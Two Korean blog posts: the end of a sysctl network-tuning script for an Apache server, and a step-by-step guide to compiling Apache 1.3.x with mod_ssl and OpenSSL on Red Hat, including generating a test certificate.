        eval 'sysctl -w net.core.rmem_max=10485760';
        eval 'sysctl -w net.core.rmem_default=10485760';
        eval 'sysctl -w net.core.wmem_max=10485760';
        eval 'sysctl -w net.core.wmem_default=10485760';

        # TCP_MAX_BUCKETS 설정 (RAM 2GB 이상일 경우)
        eval 'sysctl -w net.ipv4.tcp_max_tw_buckets=2000000';


        # IP_LOCAL_PORT_RANGE 설정
       #eval 'sysctl -w net.ipv4.ip_local_port_range=32768 61000';


        # IPFRAG_HIGH_THRESH IPFRAG_LOW_THRESH 설정 (RAM 2GB 이상일 경우)
        eval 'sysctl -w net.ipv4.ipfrag_high_thresh=2069496';
        eval 'sysctl -w net.ipv4.ipfrag_low_thresh=2019432';


        # OPTMEM_MAX HOT_LIST_LENGTH 설정 (RAM 2GB 이상일 경우)
        eval 'sysctl -w net.core.optmem_max=10000000';
        #eval 'sysctl -w net.core.hot_list_length=102400';
        #
        ;;
        status)
        sysctl -a
        ;;
        *)
        echo "Usage: apache_optimizer.sh {start|status}"
        exit 1;
esac;
echo;
echo "......Done";
exit 0;

---------------------------------------------------------

chmod 700 LinuxKernelCustom.sh


./LinuxKernelCustom.sh start

./LinuxKernelCustom.sh status ->확인

Posted by 티엘로

apache 공식 사이트 http://httpd.apache.org/ 에서 아파치 소스와 자료를 참고하실 수 있습니다.
modssl 공식 사이트 http://www.modssl.org/ 에서는 mod_ssl 소스와 자료를 참고하실 수 있습니다.

apache 1.3.xx 은 ssl 모듈이 없는 버젼이라서 modssl 모듈을 apache 소스에 패치하는 것으로 설치를 진행하게 됩니다. 이와 같은 기본 구조에서 아래의 설치 과정을 참고 바랍니다. (레드헷 8.0 기반에서 설치 테스트 되었습니다.)

※ Apache 1.3.xx + mod_ssl 2.8.xx-1.3.xx 설치 순서

1. openssl 모듈 설치
2. 최신 apache 소스, mod_ssl 소스 얻기
3. mod_ssl 모듈 apache 소스 삽입
4. apache 설정단계(./configure)
5. apache 컴파일(make)
6. apache 테스트 인증서 설치(make certificate)
7. apache 설치(make install)
8. apache 설치 예시(Apache 1.3.31 + mod_ssl 2.8.19-1.3.31 )

1. openssl 모듈 설치

먼저 openssl 라이브러리가 설치되어 있어야 합니다.
openssl 설치 자료는 openssl 설치 가이드를 참고해 주시기 바랍니다.

2. 최신 apache 소스, mod_ssl 소스 얻기

apache 소스는 httpd.apache.org/download.cgi 에서 최신 버젼의 소스를 받을 수 있습니다.

mod_ssl 소스는 www.modssl.org/source/ 에서 최신 버젼의 소스를 확인합니다. [LATEST] 가 붙어있는 소스가 최신 소스입니다.

mod_ssl-2.8.18-1.3.31.tar.gz [LATEST] 소스가 있을 경우에 이것은 mod_ssl-2.8.18 버젼이며, apache 1.3.31 버젼에 mod_ssl을 패치하는 소스임을 뜻합니다. 참고바랍니다.
대부분의 경우에 apache가 먼저 업데이트되므로, mod_ssl에서 지원하는 최신 소스에 맞는 버젼의 apache 를 선택해 주시면 되겠습니다.

3. mod_ssl 모듈 apache 소스 삽입

최신 mod_ssl 소스와 그에 맞는 apache 소스를 다운받은 후에 압축을 풀고, 풀려진 mod_ssl 디렉토리에서 apache 소스 mod_ssl 패치를 진행합니다.
--with-apache 옵션은 압축이 풀려진 아파치 소스 경로 /usr/local/src/apache_1.3.xx 를 설정합니다.
--with-ssl 옵션의 디렉토리를 /usr/local/openssl 과 같이 openssl 설치시에 --openssldir 설정된 디렉토리를 지정해 줍니다.
--prefix 옵션은 아파치 설치될 경로 /usr/local/apache-ssl 를 지정해 줍니다.
./configure \
--with-apache=/usr/local/src/apache_1.3.xx \
--with-ssl=/usr/local/openssl \
--prefix=/usr/local/apache-ssl

4. apache 설정단계(./configure)

apache 소스 컴파일 설정전에 SSL 라이브러리 변수 옵션을 먼저 잡아줍니다.
SSL_BASE=/usr/local/openssl
export SSL_BASE
LDFLAGS=-L/usr/local/openssl/lib
export LDFLAGS
CPPFLAGS=-I/usr/local/openssl/include
export CPPFLAGS
apache 소스 디렉토리로 이동을 합니다. apache 소스는 mod_ssl 패치가 되었으며, apache 컴파일 설정 진행합니다.
apache 소스 설치에는 두가지 방식으로 모듈을 설치할 수 있습니다. statically linking module, DSO(Dynamic Shared Objects) module 모듈로 설치할 수 있습니다.
정적설치와 동적설치에 대한 문서는 아파치 문서를 참고해 주시바랍니다.

--prefix 옵션은 아파치 설치 디렉토리를 설정합니다.
--enable-module=ssl 옵션으로 ssl 모듈을 설치하는 것을 설정합니다.
1. statically linking module 로 mod_ssl 모듈 설치
--disable-shared=ssl 옵션은 ssl 모듈을 정적으로 링크시키는 것을 지정합니다.
그 밖의 모듈과 설정 옵션들을 더 추가하시고, 설정을 진행합니다.
./configure \
--prefix=/usr/local/apache-ssl \
--enable-module=ssl \
--disable-shared=ssl \
...

2. DSO(Dynamic Shared Objects) module 로 mod_ssl 모듈 설치
--enable-shared=ssl 옵션은 ssl 모듈을 동적으로 링크시키는 것을 지정합니다.
그 밖의 모듈과 설정 옵션들을 더 추가하시고, 설정을 진행합니다.
./configure \
--prefix=/usr/local/apache-ssl \
--enable-module=ssl \
--enable-shared=ssl \
...

5. apache 컴파일(make)

컴파일을 진행합니다.
make

6. apache 테스트 인증서 설치(make certificate)

apache 1.3.xx 는 설치시에 테스트 인증서 설치를 도와 줍니다. 테스트 인증서를 설치합니다. (파란색으로 표시된 것이 입력된 문자입니다.)
이부분은 CSR 생성 가이드 문서를 참고하시면 좋습니다.
make certificate TYPE=test
...
STEP 0: Decide the signature algorithm used for certificate
The generated X.509 CA certificate can contain either
RSA or DSA based ingredients. Select the one you want to use.
Signature Algorithm ((R)SA or (D)SA) [R]:R

STEP 1: Generating RSA private key (1024 bit) [server.key] ...
STEP 2: Generating X.509 certificate signing request [server.csr] ... 1. Country Name (2 letter code) [XY]:KR 2. State or Province Name (full name) [Snake Desert]:seoul 3. Locality Name (eg, city) [Snake Town]:seoul 4. Organization Name (eg, company) [Snake Oil, Ltd]:Dotname Korea 5. Organizational Unit Name (eg, section) [Webserver Team]:Digital Certificate Team 6. Common Name (eg, FQDN) [www.snakeoil.dom]:www.anycert.co.kr 7. Email Address (eg, name@FQDN) [www@snakeoil.dom]:(적당한 이메일 주소를 넣어주세요) 8. Certificate Validity (days) [365]:365
STEP 3: Generating X.509 certificate signed by Snake Oil CA [server.crt] Certificate Version (1 or 3) [3]:3 ... STEP 4: Enrypting RSA private key with a pass phrase for security [server.key] The contents of the server.key file (the generated private key) has to be kept secret. So we strongly recommend you to encrypt the server.key file with a Triple-DES cipher and a Pass Phrase. Encrypt the private key now? [Y/n]: y writing RSA key Enter PEM pass phrase: (적당한 테스트 비밀번호) Verifying - Enter PEM pass phrase: (적당한 테스트 비밀번호) Fine, you're using an encrypted RSA private key. ...

7. apache 설치(make install)

apache 를 설치합니다.
make install
apache 컴파일 오브젝트들을 삭제합니다.
make clean
apache 컴파일 SSL 옵션 변수들을 해제합니다.
unset SSL_BASE
unset LDFLAGS
unset CPPFLAGS

8. apache 설치 예시(Apache 1.3.31 + mod_ssl 2.8.19-1.3.31 )

(리눅스 레드헷 8.0 이상 기준 설치 예시입니다.)
[root@web1 root]# cd /usr/local/src
[root@web1 src]# wget http://www.modssl.org/source/mod_ssl-2.8.19-1.3.31.tar.gz
[root@web1 src]# wget http://ftp.apache-kr.org/httpd/apache_1.3.31.tar.gz
[root@web1 src]# tar zxf mod_ssl-2.8.19-1.3.31.tar.gz
[root@web1 src]# tar zxf apache_1.3.31.tar.gz
[root@web1 src]# cd mod_ssl-2.8.19-1.3.31
[root@web1 mod_ssl-2.8.19-1.3.31]# ./configure \
> --with-apache=/usr/local/src/apache_1.3.31 \
> --with-ssl=/usr/local/openssl \
> --prefix=/usr/local/apache-ssl
...
[root@web1 mod_ssl-2.8.19-1.3.31]# cd /usr/local/src/apache_1.3.31
[root@web1 apache_1.3.31]# SSL_BASE=/usr/local/openssl
[root@web1 apache_1.3.31]# export SSL_BASE
[root@web1 apache_1.3.31]# LDFLAGS=-L/usr/local/openssl/lib
[root@web1 apache_1.3.31]# export LDFLAGS
[root@web1 apache_1.3.31]# CPPFLAGS=-I/usr/local/openssl/include
[root@web1 apache_1.3.31]# export CPPFLAGS
[root@web1 apache_1.3.31]# ./configure \
> --prefix=/usr/local/apache-ssl \
> --enable-module=ssl \
...
[root@web1 apache_1.3.31]# make
[root@web1 apache_1.3.31]# make certificate TYPE=test
...
[root@web1 apache_1.3.31]# make install
[root@web1 apache_1.3.31]# make clean

 

Posted by 티엘로